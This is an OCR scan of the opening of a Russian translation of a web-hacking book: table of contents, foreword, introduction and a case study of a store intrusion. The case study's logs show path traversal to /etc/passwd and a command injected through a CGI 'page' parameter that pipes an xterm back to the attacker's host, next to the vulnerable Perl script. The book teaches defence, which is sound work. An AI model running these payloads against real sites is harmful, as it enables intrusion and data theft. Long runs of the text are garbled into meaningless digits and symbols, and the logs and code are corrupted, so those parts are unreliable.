Сервер баз данных
Взаимодействие компонентов
Собственная среда обработки приложений
Надстройки и API-функции Web-сервера
Отображение URL-адресов и внутреннее перенаправление Перенаправление к внутреннему серверу приложений Примеры
Доступ к базам данных
Использование собственных API-функций базы данных
Примеры
Использование стандарта ODBC
Использование JDBC
Специализированные серверы Web-приложений
Идентификация компонентов Web - приложения с помощью URL-адресов Основы идентификации
Примеры
Дополнительные примеры
Дополнительные методы идентификации
Примеры
Идентификация серверов баз данных
Контрмеры
Правило 1. Минимизация информации в НТТР-заголовке
Правило 2. Предотвращение отправки броузеру сообщений об ошибке Резюме
Глава 7. Читая между строк
Введение
Утечка информации через код HTML
Что скрывают броузеры
Netscape Navigator — команда View。Page Source
Internet Explorer — команда View о Source
Где искать информацию
Комментарии HTML
История внесения изменений
Подробности о разработчике или авторе
Связь с другими частями Web -приложений
Заметки
Комментарии серверов Web -приложений
Старый закомментированный код
30313236373840414142434444444445464650505151525253531545658586016606161й^^мм^^^^^^^^^^11 11 IX 11 ‘V—1 ^1 ILA 11 11 и и 11 1^ 11 11 —1 11 11 11 ^х и 11 11 11 11 11 11 1± 11 IX 11 11 и 11 11 и 11 11 и и 1^ IX i и30313236373840414142434444444445464650505151525253531545658586016606161й^^мм^^^^^^^^^^11 11 IX 11 ‘V—1 ^1 ILA 11 11 и и 11 1^ 11 11 —1 11 11 11 ^х и 11 11 11 11 11 11 1± 11 IX 11 11 и 11 11 и 11 11 и и 1^ IX i иВнутренние и внешние гиперссылки
30313236373840414142434444444445464650505151525253531545658586016606161й^^мм^^^^^^^^^^
11 11 IX 11 ‘V—1 ^1 ILA 11 11 и и 11 1^ 11 11 —1 11 11 11 ^х и 11 11 11 11 11 11 1± 11 IX 11 11 и 11 11 и 11 11 и и 1^ IX i и
30313236373840414142434444444445464650505151525253531545658586016606161й^^мм^^^^^^^^^^
11 11 IX 11 ‘V—1 ^1 ILA 11 11 и и 11 1^ 11 11 —1 11 11 11 ^х и 11 11 11 11 11 11 1± 11 IX 11 11 и 11 11 и 11 11 и и 1^ IX i и
Адреса электронной почты и имена пользователей
Спэм
Ключевые слова и дескрипторы <meta>
Скрытые поля
Клиентские сценарии
Приемы автоматического просеивания кода
Sam Spade, Black Widow и Teleport Pro
Резюме
Глава 8. Анализ связей Web-узла
Введение.
Анализ связей и язык HTML
Методология анализа связей
Этап 1: исследование Web-узла
Исследование узла вручную
Несколько слов о заголовке НТТР-ответа
Некоторые популярные средства, предназначенные для анализа связей Заключительные замечания
Этап 2: выделение в структуре приложения отдельных логических групп Заключительные замечания
Этап 3: анализ каждого Web-pecypca
Анализ расширений
Анализ адресов URL
Анализ сеансов
Поиск форм
Идентификация аплетов и объектов
Поиск клиентских сценариев
Анализ комментариев и адресов электронной почты
Заключительные замечания
Этап 4: инвентаризация Web-ресурсов
Резюме
Часть III. Как они это делают
Случай из жизни: как Борис помог Анне достать необходимые материалы
Глава 9. Киберграффити
Введение
Взлом Web-узла компании Defacing Acme Travel, Inc.
Составление схемы сети
Тонкости использования ргоху-серверов
Подбор паролей, используемых в процессе НТТР-аутентификации
Просмотр каталогов
Загрузка модифицированных страниц
Какие ошибки были допущены
Программы подбора паролей HTTP
Brutus
WcbCrackcr 4.0
Контрмеры против взлома Web-узла компании Acme Travel, Inc.
Отключение реверсивного перенаправления
Использование более надежных паролей
Отключение режима просмотра каталогов
ЮЮЮ12267 喀 9^X0 1 1 И25 70001 И2233345 7 8 о 113379256669990077777777 7 7 78888888999999999999 丁 9 о 00000011111111221± 1± 1± 1± 1± 1± 1± 1 1± и 1 111 11 1± 1 1± 1± 1± 1± и 1± 1± 1± 1± 1± 1± 1± 11 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2ЮЮЮ12267 喀 9^X0 1 1 И25 70001 И2233345 7 8 о 113379256669990077777777 7 7 78888888999999999999 丁 9 о 00000011111111221± 1± 1± 1± 1± 1± 1± 1 1± и 1 111 11 1± 1 1± 1± 1± 1± и 1± 1± 1± 1± 1± 1± 1± 11 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2Резюме
ЮЮЮ12267 喀 9^X0 1 1 И25 70001 И2233345 7 8 о 113379256669990077777777 7 7 78888888999999999999 丁 9 о 0000001111111122
1± 1± 1± 1± 1± 1± 1± 1 1± и 1 111 11 1± 1 1± 1± 1± 1± и 1± 1± 1± 1± 1± 1± 1± 11 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2
ЮЮЮ12267 喀 9^X0 1 1 И25 70001 И2233345 7 8 о 113379256669990077777777 7 7 78888888999999999999 丁 9 о 0000001111111122
1± 1± 1± 1± 1± 1± 1± 1 1± и 1 111 11 1± 1 1± 1± 1± 1± и 1± 1± 1± 1± 1± 1± 1± 11 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2
Глава 10. Кражи в электронных магазинах
Введение
Структура электронного магазина
Торговый зал
Электронная торговая тележка
Пункт оплаты
База данных
Объединение всех элементов
Эволюция электронных магазинов
Кражи в элеБсгронном магазине компании Acme Fashions, Inc.
Установка электронного магазина компании Acme Fashions
Поиск проблемы
Обход проверки данных в клиентской части приложений
Усовершенствование узла www. acme - fashions .com
В обновленной системе новая проблема
Заключительные замечания
Резюме
Глава 11. Доступ к базам данных
Введение
Взлом Web-узла компании по продаже подержанных автомобилей
Проверка входных данных
Контрмеры
Резюме
Глава 12. Java: удаленное выполнение команд
Введение
Технологии, основанные на Java
Архитектура серверов приложений Java
Атака на Java Web Server
Обнаружение изъянов на серверах приложений Java
Пример: компания по продаже акций
Вызов сервлета FileServlet
Контрмеры
Зашита сервера Java Web Server
Другие основные контрмеры
Резюме
Глава 13. Перевоплощение
Введение
Перехват сеансов: похищение чужого облика и сорванное свидание
7:00, 5 марта, Бсвартира Алисы
8:30, офис Алисы
10:00, рабочее место Боба
11:00, рабочее место Боба
12:30, рабочее место Алисы
21:30, в итальянском ресторане
Перехват сеансов
Заключительные замечания об атаке, направленной на перехват сеанса
Диаграммы состояний приложения
Протокол HTTP и отслеживание сеансов
Приложения с сохранением состояния и без сохранения состояния
2 3355555577858945 6 79934 5 6778902 汐 90 口 2 33355700012346222222222222222222222222232323雑242424242425256252525252526262626272727272727272727282828■'•,282828282 3355555577858945 6 79934 5 6778902 汐 90 口 2 33355700012346222222222222222222222222232323雑242424242425256252525252526262626272727272727272727282828■'•,28282828Данные cookie и скрытые поля
2 3355555577858945 6 79934 5 6778902 汐 90 口 2 33355700012346222222222222222222222222232323雑242424242425256252525252526262626272727272727272727282828■'•,28282828
2 3355555577858945 6 79934 5 6778902 汐 90 口 2 33355700012346222222222222222222222222232323雑242424242425256252525252526262626272727272727272727282828■'•,28282828
Cookie286
Скрытые поля287
Реализация механизмов отслеживания сеансов и сохранения состояний287
Идентификаторы сеансов должны быть уникальными287
Идентификаторы сеансов должны быть сложными287
Идентификаторы сеансов должны быть независимыми288
Идентификаторы сеансов должны быть связаны с клиентскими соединениями288
Резюме288
Глава 14. Переполнение буфера *на лету**289
Введение290
Пример290
Переполнение буфера291
Простейшее переполнение буфера291
Пример переполнения буфера295
Контрмеры300
Резюме300
Часть IV. Приемы кунг фу в Web301
Случай из жизни302
Глава 15. Хакинг в Web: средства автоматизации303
Введение304
Netcat304
Whisker306
Подбор паролей "в лоб”307
Brutus309
Achilles312
Cookie Pal314
Teleport Pro322
Рекомендации по обеспечению безопасности .323
Резюме324
Глава 16. Вирусы-черви325
Введение326
Червь Code Red326
26 января 2000 года326
18 июня 2001 года: первое нападение326
12 июля 2001 года
19 июля 2001 года
4 августа 2001 года328
Червь Nimda330
18 сентября 2001 года330
Еще несколько, замечаний331
Реакция и контрмеры331
Резюме332
Глава 17. Обход систем IDS333
Введение334
Общие сведения о системах IDS334
Сетевые IDS334
Хостовые IDS335
Точность IDS335
Обход систем IDS336
"Безопасный** хакинг — атаки с использованиемпротокола SSL336
Пример337
Туннелирование атак посредством протоколаSSL338
Выявление вторжений через SSL339
Анализ трафика SSL340
Полиморфные адреса URL342
Шестнадцатеричное кодирование343
Избыточное шифрование или недопустимое кодирование символов в формате Unicode343
Добавление фиБсгивных путей344
Вставка строк /./344
Использование в пути нестандартныхсимволов -разделителей345
Использование нескольких символов /345
Одновременное использование различных подходов345
Генерация ложных сообщений346
Потенциальные контрмеры347
Декодирование SSL347
Декодирование адресов URL348
Резюме348
Приложение А. Перечень портов, прослушиваемых серверами баз данных и Web-серверами349
Приложение Б. Методы и определения полей протоколов HTTP/1.1 и HTTP/1.0351
Приложение В. Удаленное выполнение команд355
Приложение Г. Раскрытие исходного кода, файлов и каталогов
Приложение Д. Ресурсы и ссылки363
Приложение Е. Средства оценки Web - приложений365
Предметный указатель367
Моим близким: ваша беспрецедентная поддержка делает все возможным.
Стюарт Мак-Клар (Stuart McClure)
Эта книга посвящается дорогому Раджалбаи (Rajalbhai) за его мудрое руководство и любовь.
Шрирай Шах (Shreeraj Shah)
Моей семье, моим друзьям и моей стране.
Саумил Шах (Saumil Shah)
Предисловие
В ваших руках книга, которая окажется важным источником информации при обеспечении защиты наиболее критичных Web-узлов и систем электронной коммерции, представляющих собой самую важную часть современного элеБсгронного бизнеса. Книга Хакинг s Web: атаки и защита основывается на практическом опыте экспертов по вопросам обеспечения безопасности, которые помогут специалистам по информационным технологиям и обеспечению безопасности успешно бороться против нападений злоумышленников, рас сматривающих Internet как наиболее быстрый и эффективный способ воровства и достижения злонамеренных целей. Если вы прочитаете эту книгу и примените полученные знания на практике, то бесчестные люди будут крайне разочарованы, поскольку их наиболее хитрые трюки окажутся бесполезными на вашем узле Internet. Взломщикам потребуется намного больше изобретательности и усилий, чтобы прорваться сквозь линию обороны ваших приложений. Страницы этой книги заполнены ценными советами самых добропорядочных хакеров, являющихся проверенными консультантами компании Foundstone.
Широко открытые глаза авторов просто слепнут в мире взломов Web-узлов и приложений. В книге обсуждаются некоторые наиболее разрушительные средства, используемые кибсрпрест\гпниками и взломщиками. В описанных случаях из жизни и приведенных примерах представлены мельчайшие детали атак. Благодаря этому гораздо проще разобраться с разнообразными методами, которые используются нпо ту сторону баррикад**. Контрмеры, которые необходимо предпринять для обеспечения защиты, также приводятся с ,,клиническойп точностью. Для предотвращения воровства нужно узнать, где, когда и почему будет нанесен удар взломщиков, а также где располагаются уязвимые места. Ответы на все эти вопросы вы сможете найти благодаря подробным рекомендациям, приведенным в книге.
Книга Хакинг s Web содержит описание действий злоумышленников и ценные сведения о том, как, когда, где и какие элементы Web-узла могут подвергнуться атаке. В ней сбалансированы точное и полное техническое описание с пояснениями, которые помогут уловить важные концепции атак и соответствующих контрмер даже недостаточно подготовленным читателям.
Зачастую книга производит просто шокирующее впечатление. Из нее вы узнаете, что даже хорошо подготовленные разработчики и операторы Web-узлов часто совершают фатальные ошибки. Прочитав эту книгу, вы узнаете разнообразные способы, с использованием которых можно организовать атаку на Web-узел или манипулировать его содержимым. Первый и наиболее важный шаг — это принятие самого факта реальности существующей угрозы, поскольку хорошо известно, что Internet предоставляет прекрасные возможности для взлома. Настоящая книга должна помочь в осмыслении и защите приложений электронной коммерции от этих глобальных рисков.
Главы книги насыщены многочисленными примерами, которые свидетельствуют о том, что Internet — чрезвычайно опасное место ведения коммерческой деятельности. Когда виртуальные магазины попадают в поле зрения реальных преступников киберпространства, даже незначительные ошибки (в используемых технологиях или взаимосвязях между отдельными компонентами узла) могут привести к появлению очень опасных изъянов. Последние исследования в рамках проекта Honeynet
(www.honeynet.org) доказывают, что недостаточно защищенный узел будет атакован сразу же после появления в Internet. Что еще хуже, коммерческие Web-узлы с опасными изъянами могут попасть в руки преступников, о которых, вполне возможно, ничего так и не удастся узнать? Даже в случае их обнаружения для правоохранительных органов они окажутся недосягаемыми. Нападению могут быть подвержены и некоммерческие Web-узлы, которые при выполнении незаконных транзакций могут использоваться в качестве "перевалочного” пунБсга.
Мы живем в эпоху, напоминающую времена Дикого запада, когда зачастую приходится просто выживать. Если традиционные законы не позволяют предотвращать атаки, менеджеры по информационным технологиям вместе с разработчиками и операторами Web-узлов не могут полагаться на удачу при защите своих информационных ресурсов. Знания — это истинная сила. Поэтому вооружите себя и свою компанию действенными рекомендациями лучших элитных хакеров. В этой книге подробно описан план виртуального сражения, знание которого позволяет выявить и ликвидировать опасность, связанную с захватом, подменой пользователей, неавторизованным доступом, изменением или разрушением Web-узла. Воспользуйтесь советами этих экспертов по вопросам безопасности, а затем спокойно отдыхайте с мыслью о том, что вы и ваша компания выполнила свою часть работы по снижению риска виртуального преступления.
Вильям С. Бони (William С. Boni),
руководитель отдела информационной безопасности компании Motorola
Июль 2002
Введение
Правда одна, однако ошибки возникают достаточно часто. Люди отслеживают их и делят на мелкие кусочки, надеясь обратить их s крупицы истины. Однако s конечном счете всегда останется ошибка, просчет.
Рене Дюма (1908—1944), французский поэт, критик
"Мы в безопасности: у нас есть брандмауэр"
Если бы мы получали от клиентов по монете каждый раз, когда произносили эту фразу, то, возможно, нам не пришлось бы писать эту книгу. Мы спокойно лежали бы на чистом белом песке какого-нибудь острова вблизи испанского побережья и....
Если вы скептически относитесь ко всевозможным опасностям и полагаетесь на свой брандмауэр, то знайте, что более 65% известных атак были вьшолнены через ТСР-порт 80, обычный порт Web (https //www. incidents.org). Реальна ли угроза нападения из Internet? Вне всякого сомнения, слишком реальна.
Человек склонен ошибаться
При подготовке сотен обзоров по вопросам безопасности за последние десять лет нам стало понятно, что нужно запомнить лишь один факт (если ранее вы еще этого не сделали): ничто не может быть по-настоящему безопасным. В основе каждого нарушения безопасности лежит ошибка. Другими словами, человек склонен ошибаться. Никакие брандмауэры, системы выявления вторжений (Intrusion Detection System — IDS) или антивирусные программы не смогут обеспечить необходимый уровень защиты. Возможно, подобное замечание к этой книге выглядит удивительным. Однако не стоит удивляться. Эту суровую реальность нужно принять, прежде чем приступать к изучению материала, предлагаемого в книге.
Итак, что же необходимо делать? Сложить руки и игнорировать Internet, модем и компьютер? Конечно, можно так поступить, однако в этом случае вы останетесь наедине со своими проблемами. Преимущества Internet и всех периферийных устройств просто неоспоримы. Они позволяют повысить качество взаимодействия, совместного использования информации, а также обеспечить связь с людьми всех рас, мировоззрений, любого цвета кожи, пола и любого интеллектуального уровня без каких бы то ни было ограничений. И все эти преимущества доступны обычному пользователю домашнего компьютера. Бизнесмены используют Internet двадцать четыре часа в сутки и семь дней в неделю, зарабатывая деньги и перемещая их по всему миру. Любого, кто спорит с мощью Internet, можно считать просто несмышленым младенцем.
Надписи на стене
Более трех лет назад один из авторов этой книги написал пророческую статью, которая оказалась предвестником наступления нового времени. Она была напечатана 9 августа 1999 года и называлась Bane ofe-commerce: We ^esecure: We allow only Web trcffic through our fireball (http://www.infoworld.com/articles/op/xml/99/08/09/990809opsecwatch.xml). В статье говорилось о просчетах подсистем безопасности того времени. Однако никто не хотел в это верить, и не желал об этом говорить. По-видимому, все были слишком уверены в разрекламированных технологиях, таких, как брандмауэры, системы выявления вторжений (IDS) и виртуальные частные сети (VPN). Эти технологии считались "внутренними”,которые не имели никакого отношения к ”магистральным” технологиям, таким, как инфраструктура открытого ключа (Public Key Infrastructure ——PK1), среда распределенных вычислений (Distributed Computing Environment — DCE) и т.д.
Так почему же в настоящее время к Web и области обеспечения безопасности проявляется такой интерес? Потому что в современном мире с многочисленными связями все чаще становится известно о фактах хакинга. Люди начинают понимать, сколь серьезно единственный изъян Web-приложения может повлиять на степень защи-
шенности информационных систем различных компаний. Примерами таких изъянов могут служить уязвимые места, которые в первую очередь подвергаются разрушительной работе вирусов-червей Code Red и Nimda.
Структура книги
Структура этой книги позволяет наилучшим образом усвоить предпагаемый материал, продвигаясь от начальных сведений к основам, а затем к расширенным приемам и концепциям. Для достижения этой цели книга разделена на четыре части, семнадцать глав и приложения.
Части
Часть I,<# Будни электронной коммерции**.
Часть II, "Секреты URL”.
Часть III, "Как они это делают**.
Часть IV, пПриемыкунг фу в Web”.
Каждая часть последовательно усложняется как по своему содержанию, так и по способу подачи материала, начиная с короткого обзора языков программирования для Web (глава 1) и заканчивая реализацией переполнения буфера (глава 14). Не пытайтесь ускорить процесс обучения. Если вы что-то упустили, то можете либо вернуться к этому месту, либо освоить это позже.
Части I и II дают начальное, а затем и более расширенное введение в мир World Wide Web. В части I, нБудни электронной коммерции**, описываются основные принципы работы Web: используемые языки, приложения, базы данных, протоколы и синтаксис. В части II, пСекреты URL”, подробно рассматривается структура адресов URL, а также то, какие их части особенно важны для взломщиков и как полученный исходный код может облегчить задачу злоумышленников. Кроме того, из этой части вы узнаете, как можно получить образ всего Web-узла и почему такая возможность чрезвычайно важна дпя взломщика.
В части III, "Как они это делают**, вы вплотную прикоснетесь к исБсусству хакинга в Web а также узнаете, какие контрмеры позволяют защититься от этих атак. В главах 9-14 описывается также и то, как с помощью простых действий в процессе разработки можно устранить большую часть изъянов. Безусловно, эту часть можно назвать наиболее творческой, посколысу в ней содержится ценнейшая информация о том, как хакеры "делают” свою работу. В каждой главе содержится подробный анализ как самой атаки, так и контрмер, которые позволяют ее предотвратить.
, В части IV, ,,Приемы кунг фу в Web”,обсуждаются некоторые дополнительные концепции и методы хакинга в Web. Здесь вы узнаете о нескольких программных средствах, знакомство с которыми просто нельзя пропустить.
И наконец, в конце книги можно найти приложения, в которых содержится перечень стандартных портов, используемых в Internet, фрагменты исходного кода, с использованием которого можно удаленно выполнять команды, описание приемов раскрытия исходного кода, а также много другой полезной информации.
Главы
В части I, нБудни электронной коммерции**, содержится пять глав.
В главе 1, пЯзыки программирования для Web: Вавилон XXI столетия**, обсуждаются все основные жзыки для Web, используемые в Internet в настоящее время.
В главе 2, nWeb-серверы и серверы баз данных**, рассматриваются технологии, являющиеся основой Web, а также связанные с ними изъяны.
Глава 3, "Выбор товаров и обработка платежей”, знакомит с технологиями, составляющими фундамент интерактивных подсистем выбора товаров (пторговых тележек**) и Web-узлов электронной коммерции.
В главе 4, "Хакинг протоколов HTTP и HTTPS”, обсуждаются два основных протокола, управляющих всем трафиком электронной коммерции и Web.
В главе 5, “URL: оружие хакера в Web”,речь идет о том, как с помощью анализа адреса URL можно получить о Web-узле наибольшее количество информации.
В части II, "Секреты URL”,представлено три главы.
В главе 6, "За Бсулисами Web-сервера”, описываются основные компоненты Web-приложения, а также взаимосвязи между ними.
В главе 7, нЧитая между строк”, обсуждается исБсусство раскрытия исходного кода с использованием Web-броузера или других средств.
В главе 8, "Анализ связей Web-узла", рассматривается, как провести инвентаризацию Web-узла и проанализировать приложение как единое целое, а на основе полученной информации определить наилучший метод нападения.
Часть III, пКак они это делают**, состоит из шести глав.
В главе 9, мКиберграффитим, рассматривается, как взломщики могут подменить содержимое Web-узла и какие приемы и хитрости для этого можно использовать.
Глава 10, "Кражи в электронных магаз инах**, содержит информацию о том, как злоумышленники могут осуществить кражу в электронном магазине, т.е. ,,обмануть,* Web - приложение и оплатить товар по более низкой цене.
В главе И, нДоступ к базам данных**, описываются способы проникновения в Web - приложения через базу данных.
Из главы 12, "Java: удаленное выполнение команд**, станет понятно, как дая проникновения в систему можно воспользоваться средствами Java.
В главе 13, ,,Пepeвoш[oщeниe,,, обсуждается, как взломщик может вьщать себя за другого пользователя.
В главе 14, нПереполнение буфера "на лету**, рассматривается, как определить уязвимость приложения к переполнению буфера, а затем его реализовать.
В части IV, пПриемы кунг фу в Web”, содержится три завершающих главы.
В главе 15, "Хакинг в Web: средства автоматизации”,обсуждаются различные средства и приемы, которые могут использоваться взломщиками для автоматизации выполнения своих действий.
В главе 16, "Вирусы-иерви”, рассматриваются смертоносные вирусы-черви, а также способы их создания, распространения и удаления.
• В главе 17, "Обход систем IDS”,содержится информация о том, как взломщика можно обнаружить с использованием системы выявления вторжений (IDS).
Несколько заключительных замечаний
Эта книга представляет собой как введение в хакинг, так и подробный анализ мира Web-хакера. В то же время авторам очень хотелось, чтобы ее было просто читать, т.е. чтобы вы не использовали ее в качестве нового средства от бессонницы. В идеале книгу нужно прочитать от начала до конца. Даже если вы обладаете базовыми знаниями в области обеспечения безопасности и Web-технологий, у вас не должно возникнуть никаких проблем. В этом случае можно сразу перейти к главам из частей II, "Секреты URL”,и III, пСекреты URLn.
Изъяны всегда будут существовать в любой среде, однако мы надеемся, что все, кто в настоящее время использует Web и Internet, опомнятся, выпьют чашечку ароматного кофе, а затем исправят допущенные ошибки. В противном случае всеми обнаруженными изъянами сразу же воспользуется хакер.
Благодарности
Над созданием этой книги трудилось множество людей, каждый из которых внес свой неоценимый вклад. Но прежде всего хотелось бы выразить благодарность сотрудникам издательства Addison-Wesley. Их руководство и настойчивость на протяжении всей работы над этой книгой достойны самой высокой похвалы. Большое уважение и признательность хочется выразить также преданным своему делу профессионалам из компании Foundstone. Объединенные в этой компании специалисты продолжают выполнять свою работу, которая вызывает неподдельное восхищение.
Мы приветствуем работу исследователей в области безопасности в промышленно- сти, с которыми нам посчастливилось познакомиться (каждый знает, что он представляет собой на самом деле). Мы благодарны также нашим друзьям из индийской компании Net-Square, которые участвовали в исследованиях и обсуждении многих вопросов, нашедших отражение в этой книге.
Наконец, отдельное спасибо хотелось бы сказать Барнаби Джеку (Bamaby Jack) за его вклад в эту книгу.
Соавтор
Барнаби Джек (Barnaby Jack) работает исследователем и инженер ом -разраб отчиком в компании Foundstone, где он специализируется на исследовании изъянов и разработке утилит взлома. До этого он работал инженером в группе исследователей COVERT компании Network Associates.
За многие годы он хорошо изучил внутреннюю архитектуру операционных систем, уделяя основное внимание семейству Windows, в частности системе Windows NT. Он занимается глубокими исследованиями в области методов взлома Windows. При этом ссылки на его статьи можно найти во многих серьезных изданиях.
ЧАСТЬ I
Будни электронной
коммерции
Случай из жизни: Web-узел компании Acme Art, Inc. взломан!
31 октября 2001 года оказалось плохим днем для нового Web-узла компании Acme Art www.acme-art.com. Взломщик похитил номера кредитных карточек из базы данных интерактивного магазина компании и разместил их в группе новостей Usenet. Электронные средства передачи информации работали быстро и безжалостно, и в течение нескольких часов компания потеряла сотни тысяч долларов заказов, приобрела плохую репутацию, но самое главное в том, что теперь ей придется снова накапливать капитал. Руководитель информационный службы компании озадачен. Где была допущена ошибка в процессе очередной проверки безопасности системы? Казалось, все в порядке. Брандмауэры блокировали весь трафик, за исключением портов 80 и 443. Подробно расследуя инцидент, группа экспертов обнаружила в системном журнале Web-сервера следующие данные:
Group (а)
10.0.1.21 - - [31/0ct/2001:03:02:47 +0530] "GET / НТГР/1.0" 200 3008
10.0.1.21 --(31/0ct/2001:03:02:47+0530]"GET/yf thunb. jpg HTTP/1.0" 200 3452
10.0.1.21 --[31/0ct/2001:03:02:47+0530]"GET/frthunb.jpgНТГР/1.0"2008468
10.0.1.21 --[31/0ct/2001;03:02:47+0530]"GET/th~thumb.jp::HTTP/1.0"2006912
10.0.1.21 --[31/0ct/2001:03:02:47+0530]"GETZmn^thixi. j[jjHTTP/1.0"2007891
Group (b)
10.0.1.21 - - [31/0ct/2001:03:03:13 +0530] "GET /index.cgi?page»falls.shtml HTTP/1.0" 200 610 10.0.1.21 - - [31/0ct/2001:03:03:13 +0530] "GET /falls.jpg HTTP/1.0" 200 52640
10.0.1.21 - - [31/0ct/2001:03:03:18 +0530] "GET /index.cgi?page=tahoel.shtml HTTP/1.0" 200 652 10.0.1.21 - - [31/0ct/2001:03:03:18 +0530] "GET /tahoel.jpg HTTP/1.0" 200 36580
Group (c)
10.0.1.21 - - [31/0ct/2001:03:03:41 +053 0] "GET /cgi-bin/ HTTP/1.0" 403 272
Group (d)
10.0.1.21 - - [31/0ct/2001:03:04:10 +0530] "GET /index.cgi HTTP/1.0" 200 3008
10.0.1.21 - - [31/0ct/2001:03:05:31 +0530] "GET /index.cgi?page«index.cc_ HTTP/1.0" 200 358 .
Group (e)
10.0.1.21 - - [31/0ct/2001:03:06:21 +0530] "GET
/ind・x・cgi?page«/.・/・./.・/・・/.・/・./・・/.・/・・/Qtc/pes3W http/1.0" 200 723
Group (f)
10.0.1.21 - - [31/0ct/2001:03:07:01 +0530] "GET /index.cgi?page"|ls4-la*/t0aidl0avhichUtem| ШТР/1.0" 200 1228
10.0.1.21 - - [31/0ct/2001:03:17:29 +0530] "GET /index.cgi?page-1xtern+- display*10.0.1.21:0*0B26| HTTP/1.0" 200
Рассмотрим, как эксперты расследовали инцидент. Узел www.acme-art.coB работал под управлением сервера Apache 1.3.12 в системе Linux. Для реализации и запуска интерактивного магазина программисты компании использовали CGI-сценарии на языке Perl. Записи из системного журнала свидетельствуют о том, что атака началась с узла 10.0.1.21. В 3:02 А.М. взломщик приступил к просмотру содержимого узла. Пять первых записей файла журнала (Group (а)) показывают, что он просматривал главную страницу и несколько изображений, содержащихся на ней.
10.0.1.21 - - [31/0ct/2001:03:02:47 +0530] "GET / НТГР/1.0" 200 3008
10.0.1.21 - - [31/0ct/2001:03:02:47 +0530] "GET / yf thumb.jp? HTTP/1.0" 200 3452
10.0.1.21 - - [31/0ct/2001:03:02:47 +053 0] "GET /f匸thumbs HTTP/1.0" 200 8468
10.0.1.21 - - [31/0ct/2001:03:02:47 +0530] "GET /th thuab.jpg HTTP/1.0" 200 6912
10.0.1.21 - - [31/0ct/2001:03:02:47 +0530] "GET /no二thuinb.jpg HTTP/1.0" 200 7891
На рис. 1 показано, что можно было бы увидеть на экране, проследив за перемещениями взломщика.
Следующие четыре строки (Group (b| ) свидетельствуют о том, что взломщик щелкнул на паре ссылок, содержащихся на главной странице.
10.0.1.21--[31/0ct/2001:03:03:13+0530]10.0.1.21--[31/0ct/2001:03:03:13+0530]10.0.1.21--[31/0ct/2001:03:03:18+0530]10.0.1.21--[31/0ct/2001:03:03:18+0530]10.0.1.21--[31/0ct/2001:03:03:13+0530]10.0.1.21--[31/0ct/2001:03:03:13+0530]10.0.1.21--[31/0ct/2001:03:03:18+0530]10.0.1.21--[31/0ct/2001:03:03:18+0530]"GET /index.cgi?page-falls.shtnl HTTP/1.0" 200 610
10.0.1.21--[31/0ct/2001:03:03:13+0530]
10.0.1.21--[31/0ct/2001:03:03:13+0530]
10.0.1.21--[31/0ct/2001:03:03:18+0530]
10.0.1.21--[31/0ct/2001:03:03:18+0530]
10.0.1.21--[31/0ct/2001:03:03:13+0530]
10.0.1.21--[31/0ct/2001:03:03:13+0530]
10.0.1.21--[31/0ct/2001:03:03:18+0530]
10.0.1.21--[31/0ct/2001:03:03:18+0530]
"GET /falls.jpg HTTP/1.0" 200 52640
"GET /index.cgi?pageataboel.shtal HTTP/1.0" 200 652
"GET /tahoe2.jpg HTTP/1.0" 200 36580
На рис. 2 показано, что должен был бы увидеть хакер при щелчке на гиперссылке Golden Sunset, in oil главной страницы Web-узла компании Acme Art.
В данный момент трудно определить намерения взломщика, посколысу пока он не сделал ничего необычного. Возможно, он просто искал что-нибудь интересное. Следующая запись свидетельствует о том, что взломщик попытался получить доступ к каталогу /cgi-bin/ и посмотреть, что в нем находится (Group (с)).
Рис. 1. Главная страница Web-узла компании Acme ArtРис. 1. Главная страница Web-узла компании Acme Art
Рис. 1. Главная страница Web-узла компании Acme Art
Рис. 1. Главная страница Web-узла компании Acme Art
Сервер отклонил этот запрос, посколысу в журнале зарегистрирована ошибка 403 протокола HTTP.
10.0.1.21 - - [31/0ct/2001:03:03:41 +530] "GET /cgi-bin/ HTTP/1.0" 403 272
Взломщик продолжает перемещаться по Web-узлу. Кажется, он понял свою ошибку* Сначала он быстро анализирует URL-адрес http: / 7ww• асше-агt • con/index. eg i, а затем формирует запрос http: //www.асве-art/index.cgi?pagesindex.cgi, следуя шаблону передачи параметров (Group (b)). На рис. 3 показано, что он увидел в окне своего броузера.
Рис 2. 〃ol “с щелчка на ссылке
В броузере отображен исходный код сценария index, cgi! Взломщик видит, что сценарий index, cgi в качестве параметра получает имя файла и отображает его содержимое. Поэтому в качестве параметра он передает имя index, cgi и добивается отображения исходного кода этого файла. Более пристальное знакомство с кодом Perl, содержащимся в файле index, cgi, позволяет обнаружить другие изъяны.
01: #!/usr/bin/perl
02: I сценарий Perl для отображения страницы, заданной параметром
03:
04: require *../cgi-bin/cgi/lib.pl#;
05:
06: SReadParse (»input);
07:
08: Sf ilename 二 $ input «page:,
09: if($fi1епал« eq *") {
io: Sfilenaae = "a in ・h tai";
11: }
print b?rin:Xeader;
Slilendnie = "/ 1Ы/local/apache/htdccs/'** . $filenane;
open(FILE, $filename);
While KFILE〉} {
print $ ;
}
close (FILE);
Рис. .1 Получен исходный код файла index, cgi
Одним из недостатков является неудовлетворительная проверка параметров, которые передаются сценарию index.cgi. Переданное в качестве параметра имя файла из адреса URL сохраняется в переменной $ filename в строке 08, а затем присоединяется к абсолютному пути /usr/local/apache/htdocs в строке 15. Сам файл отбывается в строке 16.
tMt#00roetЛкЬ«пЪ1ЬЫ»х1,1 Ье/bt» 4*шп«ах2 2 4*ifnMi/ib«k
•4Mх34adtnAnr^k4B *,h V,"v/qcA>4 №(*3d好0依5催)"*)m( iInuMwuk 4 Q *Ыи1имв/,Ш/,Им<М«п ЫЮ 0 h* /X 6bmb*r malxfl 121иЫМг/фЛ4йп< wrw>x^. 13 aew* Aw^HAtewa uucprl014мкр>мг>*ф9Ябякр #caborxtl0«^raiorArwt
•ми,* 121 OO.fnH Amc^ium рЫг工],】U gopher 向”愈“祉口 ・3* ftp.x M5QHPURflwm^ EgfxXWNWWH tf*N454,X冏m S^mr/tvfX.11А 1ЪмЛЬй« mukk«500:CG Sami Shah ^мпс'гЮ f “h ocadex501 SQlOrade 8i arwtJn・BfrrwltftM$fhinyTij ff* 1fti 10SQL •ervrr Mr 4MHy*《小S “h
Puc 4. Взломщик получил файл /etc/p^ssvdc сервера компании Acme Art
Как только взломщик обнаружил этот изъян, ему сразу стало ясно, что с Web- сервера можно получить любой файл. Как видно из следующей записи системного файла (Group (е)), именно это он и сделал.
